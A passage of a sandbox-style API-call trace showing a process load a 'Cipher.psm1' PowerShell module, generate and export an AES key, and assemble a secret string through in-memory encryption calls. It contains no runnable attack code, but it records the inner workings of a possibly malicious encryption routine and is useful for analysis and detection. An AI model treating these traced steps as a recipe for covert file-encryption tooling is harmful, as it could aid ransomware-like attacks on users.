[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.655] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.655] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.656] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.656] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.656] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.656] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.656] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.657] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e027a0) returned 1 [0127.657] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84978) returned 1 [0127.657] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.657] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.657] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x699b9c4, pdwDataLen=0x99ae788 | out: pbData=0x699b9c4*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.657] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="\x10") returned 0x0 [0127.658] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.658] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.658] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.658] SysStringLen (param_1="") returned 0x8 [0127.658] SysStringLen (param_1="J") returned 0x8 [0127.658] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.658] SysStringLen (param_1="\x2dcd\x5b5e\xa49c\xb1d8\xe902\x6bc3\x5f17\x3cd8") returned 0x8 [0127.658] SysStringLen (param_1="\x2dcd\x5b5e\xa49c\xb1d8\xe902\x6bc3\x5f17\x3cd8") returned 0x8 [0127.658] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.658] SysStringLen (param_1="JI") returned 0x8 [0127.658] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.658] SysStringLen (param_1="ごੀ놖ᑰᨕ摊") returned 0x8 [0127.658] SysStringLen (param_1="ごੀ놖ᑰᨕ摊") returned 0x8 [0127.658] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="JIQ") returned 0x8 [0127.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="\x8566\xa265\xaa0f\xbac1\xc3c2\xd415\xd320\x8715") returned 0x8 [0127.659] SysStringLen (param_1="\x8566\xa265\xaa0f\xbac1\xc3c2\xd415\xd320\x8715") returned 0x8 [0127.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="JIQI") returned 0x8 [0127.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="\x1c9d\x48ff\x40f1\x2886\xb393\xc8bb\xe857\x50d8") returned 0x8 [0127.659] SysStringLen (param_1="\x1c9d\x48ff\x40f1\x2886\xb393\xc8bb\xe857\x50d8") returned 0x8 [0127.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="JIQIp") returned 0x8 [0127.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="\x92d8\xe6eb\xad53\xc0a9\x62d5\x54cd\xd34a\x3189") returned 0x8 [0127.659] SysStringLen (param_1="\x92d8\xe6eb\xad53\xc0a9\x62d5\x54cd\xd34a\x3189") returned 0x8 [0127.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="JIQIpc") returned 0x8 [0127.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="\x185c\x3bcc\xc279\xa81f\x6441\x4dcf\x9ab1\xef51") returned 0x8 [0127.659] SysStringLen (param_1="\x185c\x3bcc\xc279\xa81f\x6441\x4dcf\x9ab1\xef51") returned 0x8 [0127.659] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="JIQIpcf") returned 0x8 [0127.659] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.659] SysStringLen (param_1="\x15e5\xa0f9\xa6b0\xcac8\x9847\x5752\x7e08\xc94e") returned 0x8 [0127.659] SysStringLen (param_1="\x15e5\xa0f9\xa6b0\xcac8\x9847\x5752\x7e08\xc94e") returned 0x8 [0127.660] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.660] SysStringLen (param_1="JIQIpcfW") returned 0x8 [0127.660] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.660] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074") returned 0x8 [0127.660] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074") returned 0x8 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074") returned 0x8 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074") returned 0x10 [0127.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="JIQIpcfWY୸ꟃ徥㉐Ⴇ") returned 0x10 [0127.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x84f1\xc62d\x53a8\x1e5c\xfa80\x7ff0\xebb2\x482") returned 0x10 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x84f1\xc62d\x53a8\x1e5c\xfa80\x7ff0\xebb2\x482") returned 0x10 [0127.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="JIQIpcfWYq୸ꟃ徥㉐Ⴇ") returned 0x10 [0127.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xbb6d\x8744\x3f40\x9cf7\xf943\x196\xfd9c\x788b") returned 0x10 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xbb6d\x8744\x3f40\x9cf7\xf943\x196\xfd9c\x788b") returned 0x10 [0127.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="JIQIpcfWYqf୸ꟃ徥㉐Ⴇ") returned 0x10 [0127.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x1057\xad4a\xba71\x7a31\xc54c\xc948\x2260\x4c19") returned 0x10 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x1057\xad4a\xba71\x7a31\xc54c\xc948\x2260\x4c19") returned 0x10 [0127.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="JIQIpcfWYqfVꟃ徥㉐Ⴇ") returned 0x10 [0127.661] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x4f47\x2b8d\x52f\xd696\x9d60\x8f95\x5793\xb3b1") returned 0x10 [0127.661] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x4f47\x2b8d\x52f\xd696\x9d60\x8f95\x5793\xb3b1") returned 0x10 [0127.661] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="JIQIpcfWYqfV+徥㉐Ⴇ") returned 0x10 [0127.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x4ec\xfa93\x5c49\x4d0\x923c\x4b7\xd032\x4318") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\x4ec\xfa93\x5c49\x4d0\x923c\x4b7\xd032\x4318") returned 0x10 [0127.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="JIQIpcfWYqfV+m㉐Ⴇ") returned 0x10 [0127.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xfaf3\xe90c\xaef\x5c4a\xa31b\x5e2c\x63e\x6425") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xfaf3\xe90c\xaef\x5c4a\xa31b\x5e2c\x63e\x6425") returned 0x10 [0127.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="JIQIpcfWYqfV+mRႧ") returned 0x10 [0127.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xcfa4\x9517\xc9ed\x75e4\x5760\x8ec9\x7900\xc7b4") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xcfa4\x9517\xc9ed\x75e4\x5760\x8ec9\x7900\xc7b4") returned 0x10 [0127.662] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="JIQIpcfWYqfV+mRY") returned 0x10 [0127.662] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280") returned 0x10 [0127.662] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280") returned 0x18 [0127.662] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="JIQIpcfWYqfV+mRYw䧞❬ꀽ겄䉰郓") returned 0x18 [0127.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x73c7\xd610\xf1cf\xbf50\x8d28\x9aad\x14f8\xe3e5") returned 0x18 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x73c7\xd610\xf1cf\xbf50\x8d28\x9aad\x14f8\xe3e5") returned 0x18 [0127.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="JIQIpcfWYqfV+mRYwo❬ꀽ겄䉰郓") returned 0x18 [0127.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x2386\xcbc1\x2eb4\xb335\xbc61\xf083\x3404\x864f") returned 0x18 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x2386\xcbc1\x2eb4\xb335\xbc61\xf083\x3404\x864f") returned 0x18 [0127.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonꀽ겄䉰郓") returned 0x18 [0127.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x7fba\xbc68\x4a03\xdcbd\x6f39\x47d2\x8174\x5463") returned 0x18 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x7fba\xbc68\x4a03\xdcbd\x6f39\x47d2\x8174\x5463") returned 0x18 [0127.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonv겄䉰郓") returned 0x18 [0127.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xeb6d\x81cc\xcecd\x8f44\xe3e8\x152f\xacc4\xc5be") returned 0x18 [0127.663] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xeb6d\x81cc\xcecd\x8f44\xe3e8\x152f\xacc4\xc5be") returned 0x18 [0127.663] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.663] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvk䉰郓") returned 0x18 [0127.663] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x9997\x8b62\x716\x6e5c\x27a0\x13f8\x8950\xe197") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\x9997\x8b62\x716\x6e5c\x27a0\x13f8\x8950\xe197") returned 0x18 [0127.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkh郓") returned 0x18 [0127.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xaa09\x70a6\x2701\x6e6b\x9ed4\x7fcc\x987a\xcf1f") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xaa09\x70a6\x2701\x6e6b\x9ed4\x7fcc\x987a\xcf1f") returned 0x18 [0127.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhT") returned 0x18 [0127.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xc42a\xcc25\x526c\xf4c1\xd0f2\xeb34\xab71\xf26c") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xc42a\xcc25\x526c\xf4c1\xd0f2\xeb34\xab71\xf26c") returned 0x18 [0127.664] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTY") returned 0x18 [0127.664] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f") returned 0x18 [0127.664] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f") returned 0x20 [0127.664] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.664] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIㅳꌸ፺ᓌ썝즜") returned 0x20 [0127.664] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x3d56\x8514\x93df\xee1\x6643\x4c1f\x5c6d\x4d7c") returned 0x20 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x3d56\x8514\x93df\xee1\x6643\x4c1f\x5c6d\x4d7c") returned 0x20 [0127.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoꌸ፺ᓌ썝즜") returned 0x20 [0127.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xf6c0\x7777\x34c2\x1894\xfc3f\xc393\x76f6\x344a") returned 0x20 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xf6c0\x7777\x34c2\x1894\xfc3f\xc393\x76f6\x344a") returned 0x20 [0127.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoS፺ᓌ썝즜") returned 0x20 [0127.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xcc61\x6dde\x3839\xef96\xb4ae\x77ce\x18f5\xccc5") returned 0x20 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xcc61\x6dde\x3839\xef96\xb4ae\x77ce\x18f5\xccc5") returned 0x20 [0127.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwᓌ썝즜") returned 0x20 [0127.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen 